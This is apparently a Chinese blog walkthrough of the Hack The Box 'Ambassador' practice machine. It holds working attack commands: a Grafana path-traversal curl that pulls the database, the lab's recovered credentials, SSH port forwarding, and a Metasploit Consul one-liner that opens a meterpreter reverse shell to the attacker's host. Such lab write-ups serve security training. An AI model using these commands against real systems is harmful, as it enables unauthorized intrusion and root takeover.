文章目录

  • 前言
  • 一、Web部分
  • 二、提权部分

前言

难度:中等,Hack The Box网站在线靶机。本文涉及知识点有:Grafana系统任意文件读取,CURL下载文件,SSL本地端口转发,Consul命令执行。
      靶机地址:10.10.11.183
      kali地址:10.10.14.26


一、Web部分

1)选择active machines页面的medium难度,选择第一个Ambassador靶机。

2)由于是靶机直接就全端口扫描了,同时Fscan先扫一下看看。发现存在22端口说明是Linux主机。存在80端口、3000端口是Grafana系统,还有3306端口。

 nmap -T4 -p- 10.10.11.183


     3)Fscan结果是SSH和MySQL都不存在弱口令。

 ./fscan_amd64 -h 10.10.11.183


     4)访问3000端口发现是Grafana系统,先尝试下弱口令失败,查找历史漏洞,发现任意文件读取漏洞,但是利用失败了。


     5)在看一眼3306端口+phpMyAdmin,乱码但是大概能判断操作系统版本。

     6)访问80端口:http://10.10.11.183/,提示是说使用开发人员帐户进行SSH,DevOps将为您提供密码。没懂先放着吧!

     7)进行目录扫描,也没发现什么有效信息。

     8)陷入 僵局,再次不死心的尝试下grafana的漏洞,这次利用searchexploit查询。搜索grafana,然后选择任意文件读取的payload拷贝到当前桌面上,然后使用,然后就好使了!!!

 searchsploit grafanasearchsploit -m multiple/webapps/50581.pypython3 50581.py -H http://10.10.11.183:3000



     9)任意文件读取先读取配置文件,谷歌搜索发现配置文件为:/etc/grafana/grafana.ini


     10)数据量太多了我们直接下载下来看。

curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db


     11)根据 grafana.ini 文件中的提示:mysql、postgres、sqlite3都可以打开,我们用sqlite3打开,成功找出MySQL数据库的账号和凭证:grafana/dontStandSoCloseToMe63221!

     12)连接数据库后查看下当前用户,找到账号密码为:developer/anEnglishManInNewYork027468。


     13)按照80端口页面的提示,使用账号密码登录SSH服务器。

二、提权部分

1)可以看出来是无法利用内核版本提权了。


     2)也无法利用sudo提权和suid提权。

 sudoedit -s /find / -user root -perm -4000 -print 2>/dev/null



     3)无法利用计划任务提权,还有其他的等等。

     4)常规目录查看tmp opt等等,在opt中存在两个文件夹其中my-app文件家中存在git文件,可以查看git日志,发现正在运行一个consul的服务,不懂百度之。


     5)发现存在远程命令执行漏洞并且MSF上就有,然后各种利用失败。

     6)查找原因,报错是说连接cosul API的时候出错了,查找资料后发现是因为没有8500端口,直接用SSL做一个本地端口转发,将靶机的8500端口转发到本地8500端口。

 ssh -L 8500:0.0.0.0:8500  developer@10.10.11.183 #然后输入密码


     7)然后利用MSF直接反弹shell,权限为root权限。

 msfconsole -q -x "use multi/misc/consul_service_exec; set payload linux/x86/meterpreter/reverse_tcp;set rhosts 127.0.0.1; set lhost 10.10.14.26; #  此处的acl_token在第4段的第二张图最下方set acl_token bb03b43b-1d81-d62b-24b5-39540ee469b5; set lport 4444; exploit"


Hack The Box靶机——Ambassador相关推荐

  1. Hack the box靶机 October

    搜了一下october 有漏洞 然后默认的后台是/backend 试了一下密码admin:admin 竟然进去了???? 有文件上传功能 shel.php 抓包 改成*.php5 右侧click he ...

  2. Hack the box靶机 Admirer

    不能访问啊 wfuzz一下 wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -z list,txt-php-html -u ...

  3. Hack the box靶机 Grandpa

    migrate进程迁移 win的题怎么都是用msf做的呢 看大佬们没有不用msf的

  4. Hack the box靶机 Chatterbox

    修改地址 把生成的字符串替换python里的

  5. Hack the box靶机 Soli

    突破口是oracle 就是真的慢 我快吐了 scott/tiger 不知道为什么老是连接不上 给我整不会了 但是我重启了一下 换了一个端口 然后就好了

  6. Hack The Box——Traverxec

    目录 简介 信息收集 漏洞发现 漏洞利用 权限提升 内核提权 SUID提权 总结 简介 这个靶机还算比较简单,只需一步一步慢慢走下去就可以完成了.漏洞发现和利用都比较简单,使用已知漏洞可以直接获得we ...

  7. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  8. Hack The Box - Catch 利用let chat API查询信息,Cachet配置泄露漏洞获取ssh登录密码,apk代码注入漏洞利用获取root权限

    Hack The Box-Catch Hack The Box开始使用流程看这篇 文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...

  9. Hack The Box - Starting Point - TIER 0

    Hack The Box - Starting Point - TIER 0 Meow TASK 1 What does the acronym VM stand for? 首字母缩略词 VM 代表什 ...

最新文章

  1. 基于OpenCV的直方图匹配
  2. cogs 539. 牛棚的灯
  3. Windows 动态链接库DLL浅解
  4. 国防科大计算机专业分数线,2018国防科技大学各省录取分数线_2017年国防科大录取线...
  5. ext js如何动态更改xtype_K8S ConfigMap 用于动态应用程序的实践
  6. linux修图,修图只知道Photoshop?11款高逼格修图工具快来get!
  7. vue-cli打包后怎么修改服务器地址实践有效
  8. (24)FPGA开发必备(FPGA不积跬步101)
  9. DecimalFormat的用法
  10. iOS 11 适配集锦
  11. Windows server 2003 ××× 配置实例(Site to Site)
  12. 利用Python下载并解压压缩文件
  13. QScrollArea qt滚动区域的简单使用
  14. 6款原型产品设计软件
  15. java游戏暗金装备_暗黑2装备升级公式图解(暗金装备升级一览表)
  16. Python3+scrapy 爬取喜马拉雅音乐 音乐和歌名 最简单的爬虫
  17. 计算机二级考试题库vb知识点,国家计算机二级考试题库 VB上机试题第13套
  18. MySQL函数关键字(五)子查询 ANY/SOME/ALL/IN/EXISTS/USING
  19. 2017年应届生落户上海流程简介
  20. vs2008不能输入CDKEY解决方法

热门文章

  1. 如何通过CRM系统做好客户的分级分类
  2. atoi、stoi 用法
  3. metasploit实战-ms17-010(永恒之蓝)漏洞利用与复现
  4. React 服务端渲染 umi服务端渲染
  5. 基于C++MFC的活塞环外观表面缺陷机器视觉检测系统
  6. 江苏电信欢go、移动、联通哪家宽带好?
  7. jsp include与include
  8. [原创]金山词霸终究还是没有免费。
  9. Java集合框架(JCF)归纳总结
  10. 各种气候数据的下载(以下载青岛地区40年间月平均气温数据的下载为例)【转】...